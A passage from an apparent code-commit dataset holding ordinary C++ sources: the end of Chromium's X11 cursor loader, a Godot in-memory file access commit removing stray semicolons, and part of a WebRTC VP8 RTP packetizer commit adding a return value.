XC_sb_down_arrow;\n case ui::kCursorSouthEastPanning:\n return XC_bottom_right_corner;\n case ui::kCursorSouthWestPanning:\n return XC_bottom_left_corner;\n case ui::kCursorWestPanning:\n return XC_sb_left_arrow;\n case ui::kCursorNone:\n case ui::kCursorGrab:\n case ui::kCursorGrabbing:\n \/\/ TODO(jamescook): Need cursors for these. crbug.com\/111650\n return XC_left_ptr;\n\n#if defined(OS_CHROMEOS)\n case ui::kCursorNull:\n case ui::kCursorPointer:\n case ui::kCursorNoDrop:\n case ui::kCursorNotAllowed:\n case ui::kCursorCopy:\n case ui::kCursorMove:\n case ui::kCursorEastResize:\n case ui::kCursorNorthResize:\n case ui::kCursorSouthResize:\n case ui::kCursorWestResize:\n case ui::kCursorNorthEastResize:\n case ui::kCursorNorthWestResize:\n case ui::kCursorSouthWestResize:\n case ui::kCursorSouthEastResize:\n case ui::kCursorIBeam:\n case ui::kCursorAlias:\n case ui::kCursorCell:\n case ui::kCursorContextMenu:\n case ui::kCursorCross:\n case ui::kCursorHelp:\n case ui::kCursorWait:\n case ui::kCursorNorthSouthResize:\n case ui::kCursorEastWestResize:\n case ui::kCursorNorthEastSouthWestResize:\n case ui::kCursorNorthWestSouthEastResize:\n case ui::kCursorProgress:\n case ui::kCursorColumnResize:\n case ui::kCursorRowResize:\n case ui::kCursorVerticalText:\n case ui::kCursorZoomIn:\n case ui::kCursorZoomOut:\n case ui::kCursorHand:\n \/\/ In some environments, the image assets are not set (e.g. in\n \/\/ content-browsertests, content-shell etc.).\n return XC_left_ptr;\n#else \/\/ defined(OS_CHROMEOS)\n case ui::kCursorNull:\n return XC_left_ptr;\n case ui::kCursorPointer:\n return XC_left_ptr;\n case ui::kCursorMove:\n return XC_fleur;\n case ui::kCursorCross:\n return XC_crosshair;\n case ui::kCursorHand:\n return XC_hand2;\n case ui::kCursorIBeam:\n return XC_xterm;\n case ui::kCursorWait:\n return XC_watch;\n case ui::kCursorHelp:\n return XC_question_arrow;\n case ui::kCursorEastResize:\n return XC_right_side;\n case ui::kCursorNorthResize:\n return XC_top_side;\n case ui::kCursorNorthEastResize:\n return XC_top_right_corner;\n case ui::kCursorNorthWestResize:\n return XC_top_left_corner;\n case ui::kCursorSouthResize:\n return XC_bottom_side;\n case ui::kCursorSouthEastResize:\n return XC_bottom_right_corner;\n case ui::kCursorSouthWestResize:\n return XC_bottom_left_corner;\n case ui::kCursorWestResize:\n return XC_left_side;\n case ui::kCursorNorthSouthResize:\n return XC_sb_v_double_arrow;\n case ui::kCursorEastWestResize:\n return XC_sb_h_double_arrow;\n case ui::kCursorNorthEastSouthWestResize:\n case ui::kCursorNorthWestSouthEastResize:\n \/\/ There isn't really a useful cursor available for these.\n return XC_left_ptr;\n case ui::kCursorColumnResize:\n return XC_sb_h_double_arrow;\n case ui::kCursorRowResize:\n return XC_sb_v_double_arrow;\n#endif \/\/ defined(OS_CHROMEOS)\n case ui::kCursorCustom:\n NOTREACHED();\n return XC_left_ptr;\n }\n NOTREACHED() << \"Case not handled for \" << native_cursor.native_type();\n return XC_left_ptr;\n}\n\n} \/\/ namespace\n\nnamespace ui {\n\nCursorLoader* CursorLoader::Create() {\n return new CursorLoaderX11;\n}\n\nCursorLoaderX11::CursorLoaderX11()\n : invisible_cursor_(CreateInvisibleCursor(), GetXDisplay()) {\n}\n\nCursorLoaderX11::~CursorLoaderX11() {\n UnloadAll();\n \/\/ Clears XCursorCache.\n GetXCursor(kCursorClearXCursorCache);\n}\n\nvoid CursorLoaderX11::LoadImageCursor(int id,\n int resource_id,\n const gfx::Point& hot) {\n const gfx::ImageSkia* image =\n ResourceBundle::GetSharedInstance().GetImageSkiaNamed(resource_id);\n const gfx::ImageSkiaRep& image_rep = image->GetRepresentation(\n GetScaleFactorFromScale(device_scale_factor()));\n XcursorImage* x_image =\n SkBitmapToXcursorImage(&image_rep.sk_bitmap(), hot);\n cursors_[id] = CreateReffedCustomXCursor(x_image);\n \/\/ |image_rep| is owned by the resource bundle. So we do not need to free it.\n}\n\nvoid CursorLoaderX11::LoadAnimatedCursor(int id,\n int resource_id,\n const gfx::Point& hot,\n int frame_delay_ms) {\n const gfx::ImageSkia* image =\n ResourceBundle::GetSharedInstance().GetImageSkiaNamed(resource_id);\n const gfx::ImageSkiaRep& image_rep = image->GetRepresentation(\n GetScaleFactorFromScale(device_scale_factor()));\n const SkBitmap bitmap = image_rep.sk_bitmap();\n DCHECK_EQ(bitmap.config(), SkBitmap::kARGB_8888_Config);\n int frame_width = bitmap.height();\n int frame_height = frame_width;\n int total_width = bitmap.width();\n DCHECK_EQ(total_width % frame_width, 0);\n int frame_count = total_width \/ frame_width;\n DCHECK_GT(frame_count, 0);\n XcursorImages* x_images = XcursorImagesCreate(frame_count);\n x_images->nimage = frame_count;\n bitmap.lockPixels();\n unsigned int* pixels = bitmap.getAddr32(0, 0);\n \/\/ Create each frame.\n for (int frame = 0; frame < frame_count; ++frame) {\n XcursorImage* x_image = XcursorImageCreate(frame_width, frame_height);\n for (int row = 0; row < frame_height; ++row) {\n \/\/ Copy |row|'th row of |frame|'th frame.\n memcpy(x_image->pixels + row * frame_width,\n pixels + frame * frame_width + row * total_width,\n frame_width * 4);\n }\n x_image->xhot = hot.x();\n x_image->yhot = hot.y();\n x_image->delay = frame_delay_ms;\n x_images->images[frame] = x_image;\n }\n bitmap.unlockPixels();\n\n animated_cursors_[id] = std::make_pair(\n XcursorImagesLoadCursor(GetXDisplay(), x_images), x_images);\n \/\/ |bitmap| is owned by the resource bundle. So we do not need to free it.\n}\n\nvoid CursorLoaderX11::UnloadAll() {\n for (ImageCursorMap::const_iterator it = cursors_.begin();\n it != cursors_.end(); ++it)\n UnrefCustomXCursor(it->second);\n\n \/\/ Free animated cursors and images.\n for (AnimatedCursorMap::iterator it = animated_cursors_.begin();\n it != animated_cursors_.end(); ++it) {\n XcursorImagesDestroy(it->second.second); \/\/ also frees individual frames.\n XFreeCursor(GetXDisplay(), it->second.first);\n }\n}\n\nvoid CursorLoaderX11::SetPlatformCursor(gfx::NativeCursor* cursor) {\n DCHECK(cursor);\n\n ::Cursor xcursor;\n if (IsImageCursor(*cursor))\n xcursor = ImageCursorFromNative(*cursor);\n else if (*cursor == kCursorNone)\n xcursor = invisible_cursor_.get();\n else if (*cursor == kCursorCustom)\n xcursor = cursor->platform();\n else if (device_scale_factor() == 1.0f)\n xcursor = GetXCursor(CursorShapeFromNative(*cursor));\n else\n xcursor = ImageCursorFromNative(kCursorPointer);\n\n cursor->SetPlatformCursor(xcursor);\n}\n\nbool CursorLoaderX11::IsImageCursor(gfx::NativeCursor native_cursor) {\n int type = native_cursor.native_type();\n return cursors_.count(type) || animated_cursors_.count(type);\n}\n\n::Cursor CursorLoaderX11::ImageCursorFromNative(\n gfx::NativeCursor native_cursor) {\n int type = native_cursor.native_type();\n if (animated_cursors_.count(type))\n return animated_cursors_[type].first;\n\n ImageCursorMap::iterator find = cursors_.find(type);\n if (find != cursors_.end())\n return cursors_[type];\n return GetXCursor(CursorShapeFromNative(native_cursor));\n}\n\n} \/\/ namespace ui\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\/\n\/* file_access_memory.cpp *\/\n\/*************************************************************************\/\n\/* This file is part of: *\/\n\/* GODOT ENGINE *\/\n\/* http:\/\/www.godotengine.org *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2015 Juan Linietsky, Ariel Manzur. *\/\n\/* *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the *\/\n\/* \"Software\"), to deal in the Software without restriction, including *\/\n\/* without limitation the rights to use, copy, modify, merge, publish, *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions: *\/\n\/* *\/\n\/* The above copyright notice and this permission notice shall be *\/\n\/* included in all copies or substantial portions of the Software. *\/\n\/* *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *\/\n\/*************************************************************************\/\n#include \"file_access_memory.h\"\n\n#include \"os\/dir_access.h\"\n#include \"os\/copymem.h\"\n#include \"globals.h\"\n#include \"map.h\"\n\nstatic Map<String, Vector<uint8_t> >* files = NULL;\n\nvoid FileAccessMemory::register_file(String p_name, Vector<uint8_t> p_data) {\n\n\tif (!files) {\n\t\tfiles = memnew((Map<String, Vector<uint8_t> >));\n\t};\n\n\tString name;\n\tif (Globals::get_singleton())\n\t\tname = Globals::get_singleton()->globalize_path(p_name);\n\telse\n\t\tname = p_name;\n\tname = DirAccess::normalize_path(name);\n\n\t(*files)[name] = p_data;\n};\n\nvoid FileAccessMemory::cleanup() {\n\n\tif (!files)\n\t\treturn;\n\n\tmemdelete(files);\n};\n\n\nFileAccess* FileAccessMemory::create() {\n\n\treturn memnew(FileAccessMemory);\n};\n\nbool FileAccessMemory::file_exists(const String& p_name) {\n\n\tString name = fix_path(p_name);\n\tname = DirAccess::normalize_path(name);\n\n\treturn files && (files->find(name) != NULL);\n};\n\n\nError FileAccessMemory::_open(const String& p_path, int p_mode_flags) {\n\n\tERR_FAIL_COND_V(!files, ERR_FILE_NOT_FOUND);\n\n\tString name = fix_path(p_path);\n\tname = DirAccess::normalize_path(name);\n\n\tMap<String, Vector<uint8_t> >::Element* E = files->find(name);\n\tERR_FAIL_COND_V(!E, ERR_FILE_NOT_FOUND);\n\n\tdata = &(E->get()[0]);\n\tlength = E->get().size();\n\tpos = 0;\n\n\treturn OK;\n};\n\nvoid FileAccessMemory::close() {\n\n\tdata = NULL;\n};\n\nbool FileAccessMemory::is_open() const {\n\n\treturn data != NULL;\n};\n\nvoid FileAccessMemory::seek(size_t p_position) {\n\n\tERR_FAIL_COND(!data);\n\tpos = p_position;\n};\n\nvoid FileAccessMemory::seek_end(int64_t p_position) {\n\n\tERR_FAIL_COND(!data);\n\tpos = length + p_position;\n};\n\nsize_t FileAccessMemory::get_pos() const {\n\n\tERR_FAIL_COND_V(!data, 0);\n\treturn pos;\n};\n\nsize_t FileAccessMemory::get_len() const {\n\n\tERR_FAIL_COND_V(!data, 0);\n\treturn length;\n};\n\nbool FileAccessMemory::eof_reached() const {\n\n\treturn pos >= length;\n};\n\nuint8_t FileAccessMemory::get_8() const {\n\n\tuint8_t ret = 0;\n\tif (pos < length) {\n\t\tret = data[pos];\n\t};\n\t++pos;\n\n\treturn ret;\n};\n\nint FileAccessMemory::get_buffer(uint8_t *p_dst,int p_length) const {\n\n\tERR_FAIL_COND_V(!data, -1);\n\n\tint left = length - pos;\n\tint read = MIN(p_length, left);\n\n\tif (read < p_length) {\n\t\tWARN_PRINT(\"Reading less data than requested\");\n\t};\n\n\tcopymem(p_dst, &data[pos], read);\n\tpos += p_length;\n\n\treturn read;\n};\n\nError FileAccessMemory::get_error() const {\n\n\treturn pos >= length ? ERR_FILE_EOF : OK;\n};\n\nvoid FileAccessMemory::store_8(uint8_t p_byte) {\n\n\tERR_FAIL_COND(!data);\n\tERR_FAIL_COND(pos >= length);\n\tdata[pos++] = p_byte;\n};\n\nvoid FileAccessMemory::store_buffer(const uint8_t *p_src,int p_length) {\n\n\tint left = length - pos;\n\tint write = MIN(p_length, left);\n\tif (write < p_length) {\n\t\tWARN_PRINT(\"Writing less data than requested\");\n\t};\n\n\tcopymem(&data[pos], p_src, write);\n\tpos += p_length;\n};\n\nFileAccessMemory::FileAccessMemory() {\n\n\tdata = NULL;\n}\n<commit_msg>removed unnecessary semicolons<commit_after>\/*************************************************************************\/\n\/* file_access_memory.cpp *\/\n\/*************************************************************************\/\n\/* This file is part of: *\/\n\/* GODOT ENGINE *\/\n\/* http:\/\/www.godotengine.org *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2015 Juan Linietsky, Ariel Manzur. *\/\n\/* *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the *\/\n\/* \"Software\"), to deal in the Software without restriction, including *\/\n\/* without limitation the rights to use, copy, modify, merge, publish, *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions: *\/\n\/* *\/\n\/* The above copyright notice and this permission notice shall be *\/\n\/* included in all copies or substantial portions of the Software. *\/\n\/* *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *\/\n\/*************************************************************************\/\n#include \"file_access_memory.h\"\n\n#include \"os\/dir_access.h\"\n#include \"os\/copymem.h\"\n#include \"globals.h\"\n#include \"map.h\"\n\nstatic Map<String, Vector<uint8_t> >* files = NULL;\n\nvoid FileAccessMemory::register_file(String p_name, Vector<uint8_t> p_data) {\n\n\tif (!files) {\n\t\tfiles = memnew((Map<String, Vector<uint8_t> >));\n\t}\n\n\tString name;\n\tif (Globals::get_singleton())\n\t\tname = Globals::get_singleton()->globalize_path(p_name);\n\telse\n\t\tname = p_name;\n\tname = DirAccess::normalize_path(name);\n\n\t(*files)[name] = p_data;\n}\n\nvoid FileAccessMemory::cleanup() {\n\n\tif (!files)\n\t\treturn;\n\n\tmemdelete(files);\n}\n\n\nFileAccess* FileAccessMemory::create() {\n\n\treturn memnew(FileAccessMemory);\n}\n\nbool FileAccessMemory::file_exists(const String& p_name) {\n\n\tString name = fix_path(p_name);\n\tname = DirAccess::normalize_path(name);\n\n\treturn files && (files->find(name) != NULL);\n}\n\n\nError FileAccessMemory::_open(const String& p_path, int p_mode_flags) {\n\n\tERR_FAIL_COND_V(!files, ERR_FILE_NOT_FOUND);\n\n\tString name = fix_path(p_path);\n\tname = DirAccess::normalize_path(name);\n\n\tMap<String, Vector<uint8_t> >::Element* E = files->find(name);\n\tERR_FAIL_COND_V(!E, ERR_FILE_NOT_FOUND);\n\n\tdata = &(E->get()[0]);\n\tlength = E->get().size();\n\tpos = 0;\n\n\treturn OK;\n}\n\nvoid FileAccessMemory::close() {\n\n\tdata = NULL;\n}\n\nbool FileAccessMemory::is_open() const {\n\n\treturn data != NULL;\n}\n\nvoid FileAccessMemory::seek(size_t p_position) {\n\n\tERR_FAIL_COND(!data);\n\tpos = p_position;\n}\n\nvoid FileAccessMemory::seek_end(int64_t p_position) {\n\n\tERR_FAIL_COND(!data);\n\tpos = length + p_position;\n}\n\nsize_t FileAccessMemory::get_pos() const {\n\n\tERR_FAIL_COND_V(!data, 0);\n\treturn pos;\n}\n\nsize_t FileAccessMemory::get_len() const {\n\n\tERR_FAIL_COND_V(!data, 0);\n\treturn length;\n}\n\nbool FileAccessMemory::eof_reached() const {\n\n\treturn pos >= length;\n}\n\nuint8_t FileAccessMemory::get_8() const {\n\n\tuint8_t ret = 0;\n\tif (pos < length) {\n\t\tret = data[pos];\n\t}\n\t++pos;\n\n\treturn ret;\n}\n\nint FileAccessMemory::get_buffer(uint8_t *p_dst,int p_length) const {\n\n\tERR_FAIL_COND_V(!data, -1);\n\n\tint left = length - pos;\n\tint read = MIN(p_length, left);\n\n\tif (read < p_length) {\n\t\tWARN_PRINT(\"Reading less data than requested\");\n\t};\n\n\tcopymem(p_dst, &data[pos], read);\n\tpos += p_length;\n\n\treturn read;\n}\n\nError FileAccessMemory::get_error() const {\n\n\treturn pos >= length ? ERR_FILE_EOF : OK;\n}\n\nvoid FileAccessMemory::store_8(uint8_t p_byte) {\n\n\tERR_FAIL_COND(!data);\n\tERR_FAIL_COND(pos >= length);\n\tdata[pos++] = p_byte;\n}\n\nvoid FileAccessMemory::store_buffer(const uint8_t *p_src,int p_length) {\n\n\tint left = length - pos;\n\tint write = MIN(p_length, left);\n\tif (write < p_length) {\n\t\tWARN_PRINT(\"Writing less data than requested\");\n\t}\n\n\tcopymem(&data[pos], p_src, write);\n\tpos += p_length;\n}\n\nFileAccessMemory::FileAccessMemory() {\n\n\tdata = NULL;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2011 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"rtp_format_vp8.h\"\n\n#include <cassert> \/\/ assert\n#include <string.h> \/\/ memcpy\n\nnamespace webrtc {\n\n\/\/ Define how the VP8PacketizerModes are implemented.\n\/\/ Modes are: kStrict, kAggregate, kSloppy.\nconst RtpFormatVp8::AggregationMode RtpFormatVp8::aggr_modes_[kNumModes] =\n { kAggrNone, kAggrPartitions, kAggrFragments };\nconst bool RtpFormatVp8::balance_modes_[kNumModes] =\n { true, true, false };\nconst bool RtpFormatVp8::separate_first_modes_[kNumModes] =\n { true, false, false };\n\nRtpFormatVp8::RtpFormatVp8(const WebRtc_UWord8* payload_data,\n WebRtc_UWord32 payload_size,\n const RTPVideoHeaderVP8& hdr_info,\n const RTPFragmentationHeader& fragmentation,\n VP8PacketizerMode mode)\n : payload_data_(payload_data),\n payload_size_(static_cast<int>(payload_size)),\n payload_bytes_sent_(0),\n part_ix_(0),\n beginning_(true),\n first_fragment_(true),\n vp8_header_bytes_(1),\n aggr_mode_(aggr_modes_[mode]),\n balance_(balance_modes_[mode]),\n separate_first_(separate_first_modes_[mode]),\n hdr_info_(hdr_info)\n{\n part_info_ = fragmentation;\n}\n\nRtpFormatVp8::RtpFormatVp8(const WebRtc_UWord8* payload_data,\n WebRtc_UWord32 payload_size,\n const RTPVideoHeaderVP8& hdr_info)\n : payload_data_(payload_data),\n payload_size_(static_cast<int>(payload_size)),\n part_info_(),\n payload_bytes_sent_(0),\n part_ix_(0),\n beginning_(true),\n first_fragment_(true),\n vp8_header_bytes_(1),\n aggr_mode_(aggr_modes_[kSloppy]),\n balance_(balance_modes_[kSloppy]),\n separate_first_(separate_first_modes_[kSloppy]),\n hdr_info_(hdr_info)\n{\n part_info_.VerifyAndAllocateFragmentationHeader(1);\n part_info_.fragmentationLength[0] = payload_size;\n part_info_.fragmentationOffset[0] = 0;\n}\n\nint RtpFormatVp8::CalcNextSize(int max_payload_len, int remaining_bytes,\n bool split_payload) const\n{\n if (max_payload_len == 0 || remaining_bytes == 0)\n {\n return 0;\n }\n if (!split_payload)\n {\n return max_payload_len >= remaining_bytes ? remaining_bytes : 0;\n }\n\n if (balance_)\n {\n \/\/ Balance payload sizes to produce (almost) equal size\n \/\/ fragments.\n \/\/ Number of fragments for remaining_bytes:\n int num_frags = remaining_bytes \/ max_payload_len + 1;\n \/\/ Number of bytes in this fragment:\n return static_cast<int>(static_cast<double>(remaining_bytes)\n \/ num_frags + 0.5);\n }\n else\n {\n return max_payload_len >= remaining_bytes ? remaining_bytes\n : max_payload_len;\n }\n}\n\nint RtpFormatVp8::NextPacket(int max_payload_len, WebRtc_UWord8* buffer,\n int* bytes_to_send, bool* last_packet)\n{\n const int num_partitions = part_info_.fragmentationVectorSize;\n int send_bytes = 0; \/\/ How much data to send in this packet.\n bool split_payload = true; \/\/ Splitting of partitions is initially allowed.\n int remaining_in_partition = part_info_.fragmentationOffset[part_ix_] -\n payload_bytes_sent_ + part_info_.fragmentationLength[part_ix_] +\n FirstHeaderExtraLength(); \/\/ Add header extra length to payload length.\n int rem_payload_len = max_payload_len - vp8_header_bytes_;\n const int first_partition_in_packet = part_ix_;\n\n while (int next_size = CalcNextSize(rem_payload_len, remaining_in_partition,\n split_payload))\n {\n send_bytes += next_size;\n rem_payload_len -= next_size;\n remaining_in_partition -= next_size;\n\n if (remaining_in_partition == 0 && !(beginning_ && separate_first_))\n {\n \/\/ Advance to next partition?\n \/\/ Check that there are more partitions; verify that we are either\n \/\/ allowed to aggregate fragments, or that we are allowed to\n \/\/ aggregate intact partitions and that we started this packet\n \/\/ with an intact partition (indicated by first_fragment_ == true).\n if (part_ix_ + 1 < num_partitions &&\n ((aggr_mode_ == kAggrFragments) ||\n (aggr_mode_ == kAggrPartitions && first_fragment_)))\n {\n remaining_in_partition\n = part_info_.fragmentationLength[++part_ix_];\n \/\/ Disallow splitting unless kAggrFragments. In kAggrPartitions,\n \/\/ we can only aggregate intact partitions.\n split_payload = (aggr_mode_ == kAggrFragments);\n }\n }\n else if (balance_ && remaining_in_partition > 0)\n {\n break;\n }\n }\n if (remaining_in_partition == 0)\n {\n ++part_ix_; \/\/ Advance to next partition.\n }\n\n send_bytes -= FirstHeaderExtraLength(); \/\/ Remove the extra length again.\n assert(send_bytes > 0);\n const bool end_of_fragment = (remaining_in_partition == 0);\n \/\/ Write the payload header and the payload to buffer.\n *bytes_to_send = WriteHeaderAndPayload(send_bytes, end_of_fragment, buffer,\n max_payload_len);\n if (*bytes_to_send < 0)\n {\n return -1;\n }\n\n *last_packet = (payload_bytes_sent_ >= payload_size_);\n assert(!*last_packet || (payload_bytes_sent_ == payload_size_));\n return first_partition_in_packet;\n}\n\nint RtpFormatVp8::WriteHeaderAndPayload(int payload_bytes,\n bool end_of_fragment,\n WebRtc_UWord8* buffer,\n int buffer_length)\n{\n \/\/ Write the VP8 payload header.\n \/\/ 0 1 2\n \/\/ 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3\n \/\/ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n \/\/ | RSV |I|N|FI |B| PictureID (1 or 2 octets) |\n \/\/ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n if (payload_bytes < 0)\n {\n return -1;\n }\n if (payload_bytes_sent_ + payload_bytes > payload_size_)\n {\n return -1;\n }\n\n buffer[0] = 0;\n if (hdr_info_.nonReference) buffer[0] |= (0x01 << 3); \/\/ N\n buffer[0] |= (GetFIFlag(end_of_fragment) << 1); \/\/ FI\n if (beginning_) buffer[0] |= 0x01; \/\/ B\n\n int pic_id_len = WritePictureID(&buffer[vp8_header_bytes_],\n buffer_length - vp8_header_bytes_);\n if (pic_id_len < 0) return pic_id_len; \/\/ error\n if (pic_id_len > 0) buffer[0] |= (0x01 << 4); \/\/ I\n\n if (vp8_header_bytes_ + pic_id_len + payload_bytes > buffer_length)\n {\n return -1;\n }\n memcpy(&buffer[vp8_header_bytes_ + pic_id_len],\n &payload_data_[payload_bytes_sent_], payload_bytes);\n\n beginning_ = false; \/\/ next packet cannot be first packet in frame\n \/\/ next packet starts new fragment if this ended one\n first_fragment_ = end_of_fragment;\n payload_bytes_sent_ += payload_bytes;\n\n \/\/ Return total length of written data.\n return payload_bytes + vp8_header_bytes_ + pic_id_len;\n}\n\nint RtpFormatVp8::WritePictureID(WebRtc_UWord8* buffer, int buffer_length) const\n{\n const WebRtc_UWord16 pic_id =\n static_cast<WebRtc_UWord16> (hdr_info_.pictureId);\n int picture_id_len = PictureIdLength();\n if (picture_id_len > buffer_length) return -1; \/\/ error\n if (picture_id_len == 2)\n {\n buffer[0] = 0x80 | ((pic_id >> 8) & 0x7F);\n buffer[1] = pic_id & 0xFF;\n }\n else if (picture_id_len == 1)\n {\n buffer[0] = pic_id & 0x7F;\n }\n return picture_id_len;\n}\n\nint RtpFormatVp8::FirstHeaderExtraLength() const\n{\n if (!beginning_)\n {\n return 0;\n }\n int length = 0;\n\n length += PictureIdLength();\n\n return length;\n}\n\nint RtpFormatVp8::PictureIdLength() const\n{\n if (!beginning_ || hdr_info_.pictureId == kNoPictureId)\n {\n return 0;\n }\n if (hdr_info_.pictureId <= 0x7F)\n {\n return 1;\n }\n else\n {\n return 2;\n }\n}\n\nint RtpFormatVp8::GetFIFlag(bool end_of_fragment) const\n{\n if (first_fragment_ && end_of_fragment) {\n return 0x0;\n }\n else if (first_fragment_ && !end_of_fragment) {\n return 0x1;\n }\n else if (!first_fragment_ && !end_of_fragment) {\n return 0x2;\n }\n else if (!first_fragment_ && end_of_fragment) {\n return 0x3;\n }\n}\n\n} \/\/ namespace webrtc\n<commit_msg>Add return value Review URL: http:\/\/webrtc-codereview.appspot.com\/98004<commit_after>\/*\n * Copyright (c) 2011 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"rtp_format_vp8.h\"\n\n#include <cassert> \/\/ assert\n#include <string.h> \/\/ memcpy\n\nnamespace webrtc {\n\n\/\/ Define how the VP8PacketizerModes are implemented.\n\/\/ Modes are: kStrict, kAggregate, kSloppy.\nconst RtpFormatVp8::AggregationMode RtpFormatVp8::aggr_modes_[kNumModes] =\n { kAggrNone, kAggrPartitions, kAggrFragments };\nconst bool RtpFormatVp8::balance_modes_[kNumModes] =\n { true, true, false };\nconst bool RtpFormatVp8::separate_first_modes_[kNumModes] =\n { true, false, false };\n\nRtpFormatVp8::RtpFormatVp8(const WebRtc_UWord8* payload_data,\n WebRtc_UWord32 payload_size,\n const RTPVideoHeaderVP8& hdr_info,\n const RTPFragmentationHeader& fragmentation,\n VP8PacketizerMode mode)\n : payload_data_(payload_data),\n payload_size_(static_cast<int>(payload_size)),\n payload_bytes_sent_(0),\n part_ix_(0),\n beginning_(true),\n first_fragment_(true),\n vp8_header_bytes_(1),\n aggr_mode_(aggr_modes_[mode]),\n balance_(balance_modes_[mode]),\n separate_first_(separate_first_modes_[mode]),\n hdr_info_(hdr_info)\n{\n part_info_ = fragmentation;\n}\n\nRtpFormatVp8::RtpFormatVp8(const WebRtc_UWord8* payload_data,\n WebRtc_UWord32 payload_size,\n const RTPVideoHeaderVP8& hdr_info)\n : payload_data_(payload_data),\n payload_size_(static_cast<int>(payload_size)),\n part_info_(),\n payload_bytes_sent_(0),\n part_ix_(0),\n beginning_(true),\n first_fragment_(true),\n vp8_header_bytes_(1),\n aggr_mode_(aggr_modes_[kSloppy]),\n balance_(balance_modes_[kSloppy]),\n separate_first_(separate_first_modes_[kSloppy]),\n hdr_info_(hdr_info)\n{\n part_info_.VerifyAndAllocateFragmentationHeader(1);\n part_info_.fragmentationLength[0] = payload_size;\n part_info_.fragmentationOffset[0] = 0;\n}\n\nint RtpFormatVp8::CalcNextSize(int max_payload_len, int remaining_bytes,\n bool split_payload) const\n{\n if (max_payload_len == 0 || remaining_bytes == 0)\n {\n return 0;\n }\n if (!split_payload)\n {\n return max_payload_len >= remaining_bytes ? remaining_bytes : 0;\n }\n\n if (balance_)\n {\n \/\/ Balance payload sizes to produce (almost) equal size\n \/\/ fragments.\n \/\/ Number of fragments for remaining_bytes:\n int num_frags = remaining_bytes \/ max_payload_len + 1;\n \/\/ Number of bytes in this fragment:\n return static_cast<int>(static_cast<double>(remaining_bytes)\n \/ num_frags + 0.5);\n }\n else\n {\n return max_payload_len >= remaining_bytes ? remaining_bytes\n : max_payload_len;\n }\n}\n\nint RtpFormatVp8::NextPacket(int max_payload_len, WebRtc_UWord8* buffer,\n int* bytes_to_send, bool* last_packet)\n{\n const int num_partitions = part_info_.fragmentationVectorSize;\n int send_bytes = 0; \/\/ How much data to send in this packet.\n bool split_payload = true; \/\/ Splitting of partitions is initially allowed.\n int remaining_in_partition = part_info_.fragmentationOffset[part_ix_] -\n payload_bytes_sent_ + part_info_.fragmentationLength[part_ix_] +\n FirstHeaderExtraLength(); \/\/ Add header extra length to payload length.\n int rem_payload_len = max_payload_len - vp8_header_bytes_;\n const int first_partition_in_packet = part_ix_;\n\n while (int next_size = CalcNextSize(rem_payload_len, remaining_in_partition,\n split_payload))\n {\n send_bytes += next_size;\n rem_payload_len -= next_size;\n remaining_in_partition -= next_size;\n\n if (remaining_in_partition == 0 && !(beginning_ && separate_first_))\n {\n \/\/ Advance to next partition?\n \/\/ Check that there are more partitions; verify that we are either\n \/\/ allowed to aggregate fragments, or that we are allowed to\n \/\/ aggregate intact partitions and that we started this packet\n \/\/ with an intact partition (indicated by first_fragment_ == true).\n if (part_ix_ + 1 < num_partitions &&\n ((aggr_mode_ == kAggrFragments) ||\n (aggr_mode_ == kAggrPartitions && first_fragment_)))\n {\n remaining_in_partition\n = part_info_.fragmentationLength[++part_ix_];\n \/\/ Disallow splitting unless kAggrFragments. In kAggrPartitions,\n \/\/ we can only aggregate intact partitions.\n split_payload = (aggr_mode_ == kAggrFragments);\n }\n }\n else if (balance_ && remaining_in_partition > 0)\n {\n break;\n }\n }\n if (remaining_in_partition == 0)\n {\n ++part_ix_; 